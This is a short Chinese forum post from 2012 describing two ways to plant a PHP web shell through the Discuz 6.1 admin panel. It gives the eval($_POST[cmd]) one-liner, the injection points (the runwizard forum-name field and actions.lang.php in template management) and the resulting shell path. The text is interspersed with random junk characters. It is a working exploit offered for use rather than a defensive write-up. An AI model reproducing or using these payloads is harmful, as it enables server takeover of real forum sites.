discuz6.1两种方法后台拿shell
% \& |: s B0 q' q- G# h好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
" k7 p/ g& g3 m4 |6 L% J7 U1:+ U$ e0 p" K5 [& a8 x! `6 ]8 R5 N
http://127.0.0.1/discuz/admincp. ... zard&frames=yes9 |6 C- p, _! b
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell n1 |% W0 i9 P6 k# H+ L
<?php eval($_POST[cmd]);?>3 G- {% V* U( ]: J) `' I! {
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
( h/ i/ ?" m0 _: }
8 i6 }$ U( B* m- V8 y
+ G% S8 o/ x( [) I' U& p2:后台模板管理--默认模板套系--详情5 {1 a4 d; V& r
templates/default/actions.lang.php8 ?5 J! D8 L ^
jhackj\\');eval($_POST[cmd])?>;//
% P0 r6 k; A* S7 ^9 D4 O% G! l/ ?& E; h, q% n
利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对